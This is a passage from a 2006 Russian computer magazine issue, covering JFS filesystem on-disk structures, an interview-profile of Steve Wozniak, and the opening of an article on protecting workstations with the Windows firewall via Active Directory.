__le32 di_acltype; /* тип ACL */

/* 2,3,4. Четверти расширений. */ union { struct { /* Таблица directory-слотов. */ struct dir_table_slot _table[12]; /* Корень дерева каталогов */ dtroot_t _dtroot; } _dir;

struct { union { /* не используется */ u8 _data[96]; struct { /* не используется */ void *_imap; /* generator */ __le32 _gengen; } _imap; } _u1; union { /* корень дерева экстентов */ xtpage_t _xtroot; struct { /* не используется */ u8 unused[16]; /* EA-дескриптор */ dxd_t _dxd; union { /* [minor:major] */ __le32 _rdev; /* имя для symlink */ u8 _fastsymlink[128]; } _u; /* встроенные EAs * u8 _inlineea[128];/ } _special; } _u2; } _file; } u; };

46


На диске inodes размещаются в виде inode-экстентов, представляющих собой массивы inodes. По определению такой экстент содержит 32 inodes и, следовательно, занима-ет 16 Кб. При размещении нового inode-экстента он не за-полняется нулями. Для того чтобы проверить, используется ли данный inode, fsck смотрит на его счетчик ссылок.

Для поиска inodes на диске служат карты размещения inodes (см. ниже).

B+ деревья экстентовДескриптор выделенного экстента (структура xad_t из фай-ла jfs_xtree.h, далее просто XAD) описывает экстент и имеет 2 дополнительных поля для использования в файлах: offset – логическое смещение от начала файла и поле флагов:

flag – 8-битное поле, содержащее различные флаги, на-пример, бит copy-on-write, если экстент размещенный, но не записываемый, данные для компрессии и т. д.

rsrvd – 16-битное поле, зарезервированное для буду-щего использования. Всегда ноль.

off1,off2 – 40-битное поле, выражающее логическое смещение первого блока экстента от начала файла в блоках.

len – 24-битное поле, содержащее длину экстента в бло-ках.

addr1,addr2 – 40-битный адрес экстента.

XAD описывает 2 абстрактных диапазона: физичес-кий, относительно всего тома, и логический – относи-тельно файла, которому принадлежит экстент. JFS под-держивает одну generic-структуру B+ дерева для всех ин-дексируемых объектов. Меняется только формат листо-вых узлов. В дереве дескрипторов выделенных экстен-тов (свое для каждого файла) ключами являются их ло-гические смещения.

Нижняя часть второй четверти дискового inode содер-жит маркер, который указывает, что хранится во второй по-ловине inode, которая может содержать встроенные сырые данные – если файл достаточно мал, или корневой узел B+ дерева экстентов – если файл в inode не помещает-ся. Заголовок узла описывает, сколько XAD использовано и сколько еще доступно. Вообще говоря, если данные фай-ла расположены в восьми или менее экстентах, то корень дерева будет содержать просто до 8 XAD-структур, пред-ставляя из себя листовой узел. Иначе эти восемь XAD бу-дут указывать на дополнительные листовые или внутрен-ние узлы дерева.

Как только 8 XAD-структур в третьей четверти inode за-полнятся, драйвер JFS сделает попытку разместить допол-нительные XAD в четвертой четверти. Если бит INLINEEA (см. ниже) в поле di_mode дискового inode установлен, пос-ледняя его четверть доступна.

Когда все возможные XAD-структуры в inode исполь-зованы, B+ дерево разбивается. JFS выделяет 4 Кб диско-вого пространства для листового узла дерева (в термино-логии JFS любой регион дискового пространства разме-ром 4 Кб именуется страницей; в дальнейшем вы увидите, что несмотря на обилие «промежуточных» сущностей – ти-па блока раздела и блока тома, JFS оперирует в основном со страницами; вероятно, это связано с особенностями под-системы управления памятью AIX и OS/2), который являет-ся просто массивом XAD-структур с заголовком, содержа-щим указатель на первый свободный XAD. Далее 8 XAD ко-пируются из inode в лист, заголовок инициализируется ука-зателем на 9-й XAD. Затем JFS обновляет корень дерева – первую XAD-структуру в inode. Она теперь будет указывать на вновь размещенный лист. Также обновляется заголо-вок корневого узла – ведь теперь он содержит только один XAD. Маркер во второй четверти inode теперь показывает, что inode содержит чистый корень B+дерева.

По мере добавления новых экстентов к файлу их де-скрипторы будут вставляться в тот же самый листовой узел, пока он не заполнится. Когда это происходит, выде-ляются еще 4 Кб дискового пространства для нового лис-та, а в inode добавляется еще один XAD, указывающий на этот узел. Так продолжается до тех пор, пока все 8 XAD-структур в корневом узле (в inode) не будут использованы. В этом случае размещается внутренний узел дерева раз-мером 4 Кб, в который будут скопированы 8 XAD из inode. Корневой узел же полностью создается заново и на выхо-де содержит лишь один XAD, указывающий на вновь раз-мещенный внутренний узел.

/* * Дескриптор выделенного экстента (XAD) */typedef struct xad { unsigned flag:8; /* флаги */ unsigned rsvrd:16; /* зарезервировано */ unsigned off1:8; /* смещение в блоках */ __le32 off2; /* смещение в блоках */ unsigned len:24; /* длина в блоках */ unsigned addr1:8; /* адрес в блоках */ __le32 addr2; /* адрес в блоках */} xad_t;

XAD описывает 2 абстрактных диапазона

47№8, август 2006


В файле jfs_xtree объявлена струк-тура xtpage, описывающая заголовок корня B+дерева.

В jfs_btree.h есть структура btpage, формат которой соответствует виду заголовков внутренних и листовых уз-лов дерева.

Карта выделения блоковКарта выделения блоков использует-ся для отслеживания состояния (вы-делен/свободен) блоков тома. Так как все файлсеты используют общий пул дисковых блоков, они используют и об-щую карту.

Логически эта карта представля-ет собой файл, описываемый вторым inode тома. При форматировании раз-дела выделяется место сразу под всю карту, она может менять свой раз-мер только в случае увеличения/усе-чения тома.

Карта состоит из трех типов 4-кило-байтных страниц – контрольная bmap-страница (от block map – блочная кар-та), контрольные dmap-страницы и сы-рые dmap-страницы. Сырые dmap-страницы содержат по одному биту на каждый блок; если бит установлен – блок выделен, если сброшен – свобо-ден. Структуры всех типов страниц оп-ределены в jfs_dmap.h. Не трудно до-гадаться, что контрольная bmap-стра-ница представляет собой корень де-рева, контрольные dmap – его внут-ренние узлы, а сырые dmap – листья. Высота дерева зависит от размера то-ма. По умолчанию оно имеет 3 уровня (и может описывать 243 блоков), одна-ко, если таковое их количество не тре-буется, inode блочной карты будет опи-сывать разреженный файл с «дыра-ми» на месте первой страницы каждо-го из неиспользуемых уровней (напом-ню, что «дырой» называется экстент, не имеющий дискового воплощения, т.е. поле адреса такого экстента будет неопределено).

JFS использует особую стратегию фиксации для обеспечения надежного внесения обновлений в управляющие структуры. Для этого JFS поддержи-вает 2 битовые карты в каждой dmap-странице – рабочую и постоянную. Ра-бочая карта отражает текущее состоя-ние блоков, а постоянная – зафиксиро-ванное. При освобождении блока пер-вой обновляется постоянная карта, при выделении – рабочая (похожая техни-

Механизм журналирования карт размещения inodes аналогичен меха-низму защиты битовых карт блоков и предусматривает наличие рабочего и постоянного экземпляров карты.

Каждая страница IAG имеет конт-рольную секцию, содержащую обоб-щающую карту inodes. Она использу-ется для улучшения производитель-ности процесса поиска. Каждый бит такой карты отображает состояние 32 inodes и сбрасывается, если все они свободны.

Кроме того, IAG содержит 128 де-скрипторов inode-экстентов, на кото-рые также имеется обобщающая карта. Один ее бит отображает состояние од-ного inodes-экстента и будет сброшен, если экстент полностью свободен.

Список свободных inodes AGЭтот список решает проблему обрат-ного поиска. Так как количество AGs на томе ограничено и заранее извес-тно, то и количество заголовков этих списков также предопределено. За-головок списка свободных inodes со-держится в контрольной (первой) стра-нице карты размещения inodes. I-тый элемент этого массива будет заголов-ком для двусвязного списка всех IAGs, имеющих свободные inodes. Номер IAG используется в качестве индекса, значение -1 указывает на конец спис-ка. Каждая контрольная страница со-держит указатели на голову и хвост списка.

Вставка и удаление из списка сво-бодных inodes AG происходит в его го-лове. Вставка происходит, например, при размещении нового inode-экстента или при удалении inode из полностью занятого экстента. В случае, когда все inode-экстенты конкретной IAG запол-няются, она удаляется из списка.

Этот список не журналируется. В случае сбоя он реконструируется fsck. Структура списка определена как struct dinomap в jfs_imap.h.

Список свободных экстентов AGЭтот список помогает решить пробле-му обратного поиска и поиска свобод-ных номеров inodes. Каждый файлсет имеет свой список свободных inode-экстентов на каждую AG. Количество заголовков этих списков, хранящихся

ка журналирования битовых карт при-меняется сейчас в reiser4).

Выделение inodesПри динамическом размещении inodes их номера более не привязаны к поло-жению на диске, и это порождает ряд проблем, для решения которых было необходимо ввести дополнительные структуры данных: Прямой поиск – по номеру inode

найти его на диске (например, при открытии файла).

Обратный поиск – по номеру бло-ка найти ближайшие свободные inodes (при размещении новых inodes).

Поиск свободных номеров inodes – для размещения нового inode-экстента необходимо найти 32 последовательных не занятых номера inode.

Карта размещения inodesКарта размещения inodes решает про-блему прямого поиска. Каждый фай-лсет тома поддерживает собственную карту, которая является динамическим массивом групп размещения inodes (Inode Allocation Group – IAG). Эта кар-та физически расположена в файле, описываемым «супер-inode» из таб-лицы тома.

Каждая IAG имеет 4 Кб в размере и описывает 128 inode-экстентов. Так как каждый inode-экстент содержит 32 inodes, IAG фактически адресует 4096 inodes. IAG может существовать в лю-бом месте тома, однако все описыва-емые ею экстенты должны принадле-жать одной AG, и эта группа прикреп-ляется к AG до тех пор, пока хотя бы один ее inode используется. Как только все inodes освобождены, новые inodes могут размещаться в любой другой AG. Формат IAG определен как struct iag в jfs_imap.h.

Первая 4-килобайтная страница карты является контрольной и содер-жит общую информацию о ней. Логи-чески карта размещения inodes являет-ся массивом структур типа struct iag.

Физически карта inodes расположе-на в файле, описываемом специаль-ным inode из таблицы файлсета. Стра-ницы этого файла размещаются и ос-вобождаются по необходимости, с при-менением стандартного механизма ин-дексирования через B+ дерево.

48


в контрольной странице карты разме-щения inodes, ограничено количеством AGs. I-тый элемент списка будет заго-ловком для двусвязного списка всех IAGs, имеющих свободные inode-эк-стенты. Номер IAG используется как индекс в этом массиве, -1 указывает на конец списка.

Когда все inodes в экстенте удаля-ются, его дисковые блоки освобожда-ются, а номер IAG, содержащий этот экстент, вставляется в голову списка свободных inode-экстентов. При раз-мещении новой IAG происходит то же самое. Когда все inode-экстенты в IAG занимаются, эта IAG удаляется из спис-ка. Если все inode-экстенты в IAG ос-вобождаются, IAG вырезается из это-го списка и вставляется в список сво-бодных IAGs (см. ниже).

Эта таблица не журналирует-ся, ее формат определен в структуре dinomap в файле jfs_imap.h.

Список свободных IAGsЭта таблица решает проблему поиска свободных номеров inodes. Ее структу-ра более проста: она содержит прос-то список номеров полностью свобод-ных IAGs. Его заголовок является по-лем в inode тома, который описывает данный файлсет.

IAG Free nextЭтот счетчик помогает решить пробле-му поиска свободных номеров inodes и позволяет JFS находить номер для вновь размещаемой IAG. Этот счет-чик расположен в контрольной страни-це карты размещения inodes. Однаж-ды размещенная IAG никогда не уда-ляется.

«Супер-inodes»Inode тома, описывающие конкретные файлсеты являются inodes особого ти-па и содержат специфическую инфор-мацию в последних двух четвертях вместо нормальных для inode данных. Они отслеживают дисковое местопо-ложение карты размещения inodes в своем B+ дереве.

ФайлФайл представлен inode, содержащим корень B+ дерева, в котором, по логи-ческому смещению от начала файла, проиндексированы экстенты, содер-жащие данные этого файла.

тентов (указывают на узлы дочерних уровней). Листовые узлы хранят мас-сивы полных имен (ключ) и номеров inodes(данные).

Внутренние и листовые узлы B+ дерева каталога занимают страни-цу в 4 Кб. Так как многие каталоги не столь велики, подобная схема хра-нения приводит к потере дискового пространства. Для решения этой про-блемы была введена следующая схе-ма выделения:1. Изначально элементы каталога

хранятся в области встроенных данных в inode.

2. Когда эта область переполняется, JFS выделяет под листовой узел 1 блок тома.

3. Когда этот блок переполняется, JFS пытается увеличить его размер в 2 раза (если он еще не равен 4 Кб); если места вокруг текущего экс-тента не хватает, выделяет новый экстент и копирует в него данные, не забывая внести изменения в ро-дительский узел.

4. Если этот новый экстент вновь за-полняется и его размер еще не до-стиг 4 Кб, повторяется шаг 3. Если нет – размещается новый лист. Все выделяемые впоследствии листо-вые узлы будут размером 4 Кб.

5. Когда все элементы в листовой странице освобождаются, эта стра-ница удаляется из дерева. Содер-жимое каталога будет упаковано обратно в inode только когда все его элементы будут удалены.

ACLACL, связанные с каждым inode в JFS, представляют различные свойства объекта, например, разрешения, иден-тификаторы пользователя или группы. ACL-поля в inode из таблицы тома иг-норируются.

Несмотря на то что фиксированных требований к дисковому или in-memory-формату списков контроля доступа не существует, JFS использует струк-туру, определенную стандартом DFS. ACL органичен в размере и должен помещаться в 8-килобайтную струк-туру dfs_acl.

Любой объект JFS может быть ас-социирован с ACL, который будет уп-равлять дискретным доступом к это-му объекту. Каталоги могут иметь до двух ACL, которые инициализируются

Символическая ссылкаСимволическая ссылка представлена inode, поле di_mode которого содержит установленный флаг S_IFLNK. Полный путь к файлу, на который указывает ссылка, хранится прямо в inode. Если строка с путем в inode не помещается, под нее выделяется один или несколь-ко экстентов, обработка которых про-исходит по стандартному для регуляр-ных файлов сценарию.

КаталогКаталог – это журналируемый файл с метаданными JFS. Он состоит из эле-ментов каталога, которые описывают содержащиеся в нем объекты. Каж-дый такой элемент связывает имя объ-екта с соответствующим ему номером inode. Для увеличения производитель-ности поиска по каталогу элементы проиндексированы по имени с помо-щью B+ дерева.

Поле di_size в описывающем ката-лог inode содержит количество листо-вых узлов B+дерева, которым проин-дексированы элементы каталога. Если все содержимое каталога умещается в одном листе, то он будет полностью храниться в inode, а di_size=256.

Каталог в JFS не хранит на дис-ке 2 специфичных элемента – указа-тели на себя («.») и на родительский каталог («..»). Они представлены по-лями в самом inode: указатель на се-бя – это просто номер inode каталога, а указатель на родителя – поле idotdot, содержащее структуру dtroot, опреде-ленную в файле jfs_dtree.h.

Inode каталога содержит корень своего B+ дерева, подобно регуляр-ному файлу. Ключом в этом дереве является хэш имени объекта, листо-вые узлы содержат элементы катало-га, состоящие из полного имени и но-мера inode.

Так как элементы каталога могут быть разного размера, JFS нуждает-ся в особой схеме их обработки. Для их хранения используются так называе-мые directory-слоты – структуры фик-сированного размера, имеющие поля для номера inode и имени. Если имя в один слот не помещается, выделя-ется следующий – с тем же номером inode. Внутренние узлы дерева состо-ят из двух частей: массива сжатых суф-фиксов имен (используется как ключ) и таблицы простых дескрипторов экс-

49№8, август 2006


во время создания объекта: ACL ка-талога и файловый ACL. Если есть, файловый ACL будет применяться при доступе к любому файлу этого ка-талога.

Для хранения массива ACL JFS ис-пользует специальный файл (в каж-дом файлсете), который структуриро-ван так: за каждыми 8 Мб ACL следует 4-килобайтная битовая карта занятос-ти ACL. ACL-файл журналируется.

Расширенные атрибутыРасширенные атрибуты (Extended Attributes – EAs) – это generic-меха-низм хранения и доступа к данным, прикрепленным к объектам JFS. EAs хранятся непрерывно в пространстве расширенных атрибутов (Extended Attribute Space – EAS), как определе-но EA-дескриптором в inode объекта JFS. EA-дескриптор – это просто де-скриптор экстента, описанный в фай-ле jfs_types.h, в структуре dxd_t.

EA может храниться в области встроенных данных в inode или в отде-льном экстенте. Поле flags в дескрип-торе EA имеет индикатор способа хра-нения. Т.к. область встроенных данных

посредственно данные потока. Потоки не журналируются.

ЗаключениеАрхитектура и реализация JFS отлича-ются большим своеобразием, на фо-не других файловых систем Linux она выглядит «белой вороной». Это обус-ловлено тем, что JFS изначально про-ектировалась для очень далекой от UNIX OS/2. Вероятно, IBM не смогла до конца решить одну из поставленных при разработке второй версии этой ФС задач, – создание хорошо переноси-мой ФС, – в среде Linux ее производи-тельность не идеальна.

Но, несмотря на некоторые недо-четы в работе, JFS была и остается очень стабильной файловой систе-мой, а ее дизайн представляет чис-то академический интерес – как и ус-тройство любого программного про-дукта, сработанного в недрах «голу-бого гиганта».

1. www.ibm.com/developerworks.2. www.jfs.sourceforge.net.3. Исходные тексты драйвера JFS для

Linux-2.6.16.

inode также может быть использована под дополнительные xad, поле di_mode в inode будет индикатором доступности этого пространства. INLINEEA-бит бу-дет установлен, если оно доступно.

Элемент EA содержит имя атрибу-та и его значение. Для доступа к кон-кретному атрибуту JFS просто линей-но ищет его в экстенте. Расширен-ные атрибуты не журналируются (ес-ли они хранятся не в inode), но пишут-ся на диск синхронно.

ПотокиПотоки (streams) в JFS используют-ся для прикрепления дополнительных именованных данных к файлам и ката-логам. Из-за ограничений интерфейса VFS, в Linux-версии JFS-потоки не под-держиваются и здесь упоминаются только для полноты картины.

Вторая четверть дискового inode имеет поле для хранения дескрипто-ра потока. Так как количество при-крепленных к объекту потоков может меняться, дескриптор потока содер-жит просто номер inode, описывающий файл со списком номеров inodes вто-рого уровня. Эти inodes описывают не-

50

человек номера

Украинский магЕму 56 лет, и он похож на Страшилу Мудрого, почти достигшего пенсион-ного возраста, но не утративший аван-тюрной жилки. Надеюсь, знаменито-го Стива Возняка, одного из создате-лей компьютера Apple, не обидит такое сравнение. В интервью американско-му изданию он как-то сказал: «Не мо-гу понять, почему, несмотря на то, что всю жизнь я занимался совершен-но тривиальными вещами – был хоро-шим инженером, да просто делал то, что хочется, – некоторые люди счита-ют меня героем, особенным челове-ком!» На что журналист резонно за-метил: детям нужны герои как пример для подражания. И Стив согласился, что «сотворить себе кумира» – в при-роде человека.

Я же настаиваю на том, что Woz, как называют легендарного основате-ля Apple, имеет непосредственное от-ношение к моей любимой сказке «Вол-шебник Изумрудного города». Амери-канцам эта сказка известна не в интер-претации Волкова, а в изложении Бау-ма, под названием Wizard of Oz. Меж-ду тем прозвище Стива – Wizard of Woz. Можно, конечно, объяснить это имя се-рьезно, без улыбки, ведь одно из значе-ний слова «wizard» в английском язы-ке – специалист своего дела. Зато дру-гой, более известный перевод – «маг, волшебник». И, глядя на Стива, легко поверить, что он вот только что гулял по лесам, окружающим Изумрудный город. Прибавьте легкую украинскую нотку во внешности и происхождении. Мистер Возняк сам признался в неболь-

шом интервью, что его фамилия имеет украинские корни. Посмотрите в лю-бой справочник, и он подтвердит: «Воз-няк» – «возница, кучер, ямщик», причем в данном случае фамилия выдает про-фессию отца, то бишь какого-то даль-него предка американца Возняка.

Свои славянские корни «волшеб-ник Изумрудного города» вспомнил, и за это ему спасибо, в лучшие време-на, когда заработал немало денег и за-нялся благотворительностью. В Интер-нете, в материалах, посвященных био-графии Стива, его музыкальная, об-разовательная и благотворительная деятельность оценивается как нечто экстравагантное. Биографы удивле-ны: человек делал компьютеры, биз-нес имел, богател и вдруг – ни с того, ни с сего – заскучал, стал организа-

Волшебник из страны… Воз

Легендарный создатель компьютеров Apple I и Apple II Стив Возняк верит в сказки и сам создает их.

51№8, август 2006


тором рок-фестивалей, в 1987 году – спонсором первого в СССР советско-американского рок-концерта. Позже, в 1990 году, на деньги Стива Возня-ка в Советский Союз поставляли ком-пьютеры для школ. И сегодня Стив на-строен исключительно пророссийски. В июне этого года он с удовольствием приехал на первую в Москве выстав-ку «Interop» и на пресс-конференции подробно объяснял, как относятся его соотечественники к России: «Воспри-ятие России стало в целом очень хоро-шим. Мы надеемся, что вы будете на-шими хорошими друзьями в будущем. Правда, в последнее время я наблю-даю большой разброс мнений. Такого не было раньше никогда! Просто уди-вительно, как много людей отверну-лись от вашей страны. И одновременно я встречаю много друзей России, это те люди, которые не согласны с полити-кой Соединенных Штатов Америки. Увы, противники дружбы с россиянами не хотят сдаваться даже сейчас, когда мы знаем о том, что Россия и Франция поступают правильно. Они не отка-жутся от своих отрицательных убеж-дений… Мне очень неприятно, когда люди в моей стране говорят о России как о плохом партнере! К сожалению, это не так просто исправить». Стивен помрачнел. И добавил уже с энтузиаз-мом: «Но бизнес открыт! Как никогда раньше. И это уже хорошо».

На пресс-конференции все воп-росы достались изобретателю Apple. Остальные участники встречи с жур-налистами даже как-то заскучали, по-няв, что они практически не интересуют СМИ. А вот я никак не решалась спро-сить то, что интересовало меня. Осо-бенно когда пошли специфические тех-нические вопросы по поводу информа-ционной безопасности. Подошла после официального общения, когда Возняка окружили поклонники с просьбой об ав-тографе и фотографии на память.

– Вы верите в сказки?– Во что? – искренне удивился

Стив.– В сказки… – робко повторила я.Ура, я не ошиблась. Верит! Прав-

да, сказкой Возняк считает и видео-игры, которые появились еще до ком-пьютерных, и научную фантастику. И еще, «волшебник Воз» тут же ого-ворился: «Верю в сказки, но, конеч-но, не так, как маленькие дети, кото-

рые увлечены сказочным сюжетом, за-хвачены им».

Яблочный бумОднако, если верить фактам, жизнь Возняка состоит из сказочных по-воротов, которые меняли его судь-бу. А он, баловень фортуны, актив-но сопротивлялся и не желал идти проторенными дорогами. С детства он лелеял две мечты, и о них сегод-ня знает весь мир: «Стать инженером и учить детей». В середине 70-х Воз-няк бросил университет, начал рабо-тать на «Hewlett-Packard» и параллель-но совместно с Джоном Дрейпером сконструировал «голубую коробку» – миниатюрный аппарат, который позво-лял незаконно подключаться к телефо-ну и бесплатно звонить в любой уголок мира. Не слишком нравственное заня-тие? Стив никогда не был пай-мальчи-ком, но и злодеем его назвать нельзя. Дрейпер вспоминает, что «первый, ко-му позвонил Воз, был папа. Воз хотел получить отпущение грехов». К тому же особой выгоды из своего изобрете-ния Возняк не мог извлечь. Или не хо-тел? В этот момент судьба послала ему… нет, не ангела-хранителя, а друга и по совместительству менеджера на долгие годы. Тезка Стив Джобс за не-сколько лет до встречи с Возняком то-же бросил вуз и был в поиске… собс-твенного «я». Так же, как и Воз, Джобсу полюбилась компания молодых людей, компьютерных фанатов в Пало Альто, Калифорния, называвших себя Ком-пьютерный клуб «Home-brew» (в пе-реводе с английского – «домашнее пиво»). Джобс считает, что в то время он был инженером «примерно такого же уровня, как Воз», но у Стива Джоб-са были способности менеджера, и он предложил Возняку работать вместе для того, чтобы продавать его изобре-

тения. Apple I Возняк и Джобс придума-ли в доме Джобса, а прототип создали в гараже Джобса. Джобс сумел угово-рить местного продавца электроники заказать им 25 машин. Чтобы собрать деньги, необходимые для производс-тва такого количества «Apple», Джобс и Возняк были вынуждены продать свои самые ценные вещи – Фолькс-ваген Джобса и научный калькулятор НР Возняка. Они выручили 1300 дол-ларов. С этим первоначальным капи-талом и кредитом наладили серийное производство. Следом за этим Воз-няк бросил НР и стал вице-президен-том, ответственным за исследование и развитие новой компании, назван-ной «Apple Computers». Биограф Сти-ва Возняка Маниш Стривастава счита-ет, что имя «Apple» появилось, потому что два Стива вспомнили название за-писывающей компании знаменитой ли-верпульской четверки «Битлз», а воз-можно, Джобс просто был под впечат-лением того лета в Орегоне, когда ему, безработному, пришлось наняться со-бирать яблоки.

Началась сказка – доходы, быстро растущие в цене акции, популярность, награды, в их числе Национальная ме-даль по технологии, врученная самим президентом США. Пять лет Apple II оставался бестселлером на рынке компьютеров. Шеф-редактор IT-из-даний «СК Пресс» Рубен Герр счита-ет, что «основная причина успеха бы-ла в «происхождении» – его «предок» был сделан для «самодельщиков», та-ким он в значительной мере и оста-вался. Компьютер никогда не был и, вероятно, никогда не будет закончен-ным изделием, особенно персональ-ный. Apple II можно было достраивать, дооснащать, словом, переделывать по вкусу. Конкурирующие машины та-кими свойствами не обладали, гнезд

Стивен ВознякРодился 11 августа 1950 г. в штате Ка-лифорния, США. В 1976 году вместе со Стивом Джобсом создан фирму «Apple Computer». В середине 70-х компания вы-пустила Apple I и Apple II. В 1980 году осно-ватели Apple Computers стали миллионера-ми. После аварии самолета в феврале 1981 года Стивен снова стал студентом Кали-форнийского университета, который бро-сил в 1975 году. В 1985 году покинул род-

ную компанию Apple. В 1997 году вернулся в Apple в качестве консультанта.

В декабре 2001 года Стивен Возняк вошел в состав совета директоров старт-апа – компании Danger Inc. (http://www.danger.com), занимающейся производс-твом карманных интернет-компьютеров. В 2002 году Возняк создал компанию Wheels of Zeus («Колеса Зевса»). В 2006 году стал основателем новой компании «Acquicor Technology».

52


для плат расширения в них не предус-матривалось».

В 1982 году Возняк попал в ава-рию, был серьезно ранен, потерял па-мять – не мог вспомнить, кто был у не-го в больнице накануне, разучился иг-рать в компьютерные игры и совер-шенно не мог восстановить подробнос-ти аварии. Память вернулась, и Стив вдруг осознал, что надо жить. Он по-бежал заканчивать университет, в пер-вый раз женился. В Apple Стив вернул-ся позже, но все же вернулся. Судьба, упрямо желавшая, чтобы он все де-лал правильно, возвращала его сно-ва и снова к бизнесу.

«Папа» школьного округаНо Стив был упрямее. Вырвавшись на «свободу» снова, на сей раз, что-бы заняться образовательной деятель-ностью, он заявил: «Всю свою жизнь я не желал быть коммивояжером. Я прос-то мечтал быть инженером, хотел пи-сать программы и создавать компью-теры». Однако пришла пора воплотить еще одну мечту – относительно препо-давания. Возняк «усыновил», как шут-ливо говорится в его краткой биогра-фии на сайте, школьный округ Лос Га-тос в Калифорнии – снабдил учителей и детей компьютерами, современными лабораториями, дал им возможность изучать новейшие технологии. Сотни школьников получили бесплатные но-утбуки, сотни выпускников – бесплат-ное подключение к Интернету. Кроме того, мистер Возняк сам стал препода-вателем. С восторгом он рассказывал прессе: «Представляете, один мальчик мне говорит: «Я нашел способ сделать анимацию в этой программе». Я отве-чаю: «Нет, здесь не может быть анима-ции». – «Да, но я сделал это!» Я смотрю на экран и понимаю, что он сделал это. Я научился новой технологии».

Возняк погрузился в новую для се-бя сферу деятельности так же глубо-

ко, как в детстве погружался в люби-мую математику. Говорят, маме Стива приходилось в буквально смысле сло-ва трясти сына, чтобы вернуть его в ре-альный мир, когда он увлекался какой-нибудь особенно занимательной ма-тематической задачкой. «Когда я был молодым, – рассказал мне Возняк, – я мечтал стать учителем, потому что понимал, насколько важно образова-ние. Это очень важно для нашей жиз-ни, нашего развития, нашего будуще-го. В биографии каждого из нас бы-ли учителя, которые сыграли важную роль в нашем развитии. Я решил обу-чать детей начиная с начальной шко-лы вплоть до старшей школы и учи-телей. Что я и делал в течение вось-ми лет в моем округе». Пауза. Лукаво: «Без участия прессы. Иметь личный контакт с тридцатью студентами, это значит для меня гораздо больше, чем писать учебники и выпускать обуча-ющие CD. Вы видите эффективность своей работы каждый день!» Стив уточняет: «Сейчас я уже не занимаюсь преподаванием». Однако и сегодня он считает образование такой же важной частью жизни, как и связь.

А говоря о будущем информацион-ных технологий, предполагает, что но-вые изобретения понадобятся имен-но в образовательных учреждениях: «Я думаю, что прорыв будет именно в робототехнике. Мы все еще ждем, что появится искусственный разум. По-явится в полной мере. Однако я не ду-маю, что я стану свидетелем появле-ния полноразмерного искусственного интеллекта.

Я думаю о том, что с большим удо-вольствием поехал бы к вам домой и выпил пару чашек кофе. Но сомнева-юсь, что робот захочет это сделать. Ис-кусственный интеллект позволит ком-пьютеру понимать меня, как вы пони-маете друг друга. Я думаю, что в буду-щем, вместо учителя-человека учить будет искусственный разум. И мо-жет получиться так, что в помещении, где находятся 30 студентов, будут од-новременно находиться 30 преподава-телей. И это приведет к тому, что мы получим возможность изменять пара-дигму обучения. Каждый ученик и каж-дый преподаватель будут работать с той скоростью и тем материалом, ко-торые им необходимы. Они смогут вы-бирать свой уровень обучения».

И еще одно предсказание: «В IT-сфе-ре появятся такие приложения и реше-ния, которые позволят создать среду, нереальную в физическом мире. Я пол-ностью это поддерживаю». Чем не про-ект школьной лаборатории, в которой можно моделировать хоть лунную по-верхность, хоть период мезозоя?»

Даже отношение Стива Возняка к начинающим, которые сегодня прихо-дят в сферу новейших технологий, оте-ческое, педагогическое: «Я не думаю, что молодым специалистам нужно го-ворить: вот тебе направление, и по нему надо идти. Это все равно как на ребен-ка накладывать свои ценности, вместо того, чтобы позволить человеку создать собственные ценности, помочь разви-ваться в этом направлении. Надо просто наблюдать за развитием молодых про-фессионалов, знать, о чем они мечтают, о чем думают, какие у них цели и помо-гать им по мере возможности двигать-ся в избранном направлении».

Сегодня Стив опять занимается ин-женерией. В 2002 году он основал ком-панию Wheel of Zeus. Из первых букв названия складывается знакомая аб-бревиатура – Woz. Значит, Страши-ла Мудрый создал себе все-таки свой Изумрудный город. Не все получается в нем так, как хочется. Недавно в ин-тернет-СМИ прошло сообщение, что фирма приняла решение закрыть свой интернет-ресурс. Однако в свое время Возняк пообещал, что его компания «будет помогать простым людям нахо-дить простые вещи» с помощью GPS смарт-тагов – технологии, которая была создана, чтобы сочетать RFID с тради-ционными GPS. Да и Нью-Йорк Таймс в 2003 году объявила всему миру, что Wheel of Zeus разработала техноло-гию WozNet, которая позволяет сигна-лизировать о местонахождении любо-го предмета, снабженного электронной меткой. Кстати сказать, изобретение больше всего пригодится родителям, которые хотят знать, где находится их ребенок, когда он уходит гулять…

Так что Стив Возняк еще поколду-ет над новыми изобретениями и в оче-редной раз прославит себя в области новейших технологий. Или вернется в школу? Может быть. Он верен своим мечтам. И миссии – оставаться добрым Волшебником из страны Воз.

Оксана Родионова

54

безопасность

Защита снаружи, но не изнутриСовременные средства защиты кор-поративных ресурсов от внешних уг-роз весьма разнообразны, существуют как аппаратные и программные меж-сетевые экраны (например, Cisco PIX, CheckPoint или Microsoft ISA), так и сис-темы обнаружения вторжения, разби-рающие проходящие пакеты до уровня приложений, а также шлюзовые анти-вирусы, фильтрующие определенный вид трафика. Все эти грозные и доро-гостоящие средства защищают наши ресурсы от посягательств извне. Одна-ко стоит оказаться внутри локальной сети компании, как тут же обнаружи-вается, что на большинстве пользова-тельских машин персональные межсе-тевые экраны или отключены, или ра-ботают в режиме разрешения всех входящих соединений. Такое положе-ние вещей многие системные адми-нистраторы объясняют просто: «Нам нужен полный доступ к локальной ма-шине пользователя, и у нас нет време-ни на настройку портов». Таким обра-

зом, получаем ситуацию, когда рабо-чие станции не защищены персональ-ным межсетевым экраном и в случае если вредоносный код каким-либо об-разом сумеет проникнуть в локаль-ную сеть, последствия могут оказать-ся весьма неприятными.

Проблему защиты рабочих стан-ций можно решать с помощью различ-ных средств. Например, многие корпо-ративные антивирусы имеют встроен-ный межсетевой экран, политики для которого можно задавать централизо-ванно, но сегодня я продемонстрирую аналогичную защиту рабочих стан-ций с помощью стандартных средств Windows, Active Directory и WSH. Сна-чала опишу, как автоматически уста-новить firewall и задать соответству-ющие разрешения для машин, нахо-дящихся в домене, а затем, как про-делать то же самое у пользователей, не входящих в домен, с помощью сце-нариев Windows Script Host.

Персональный межсетевой экран Windows XP SP2 и Windows 2003 Server SP 1 автоматически включен и исполь-

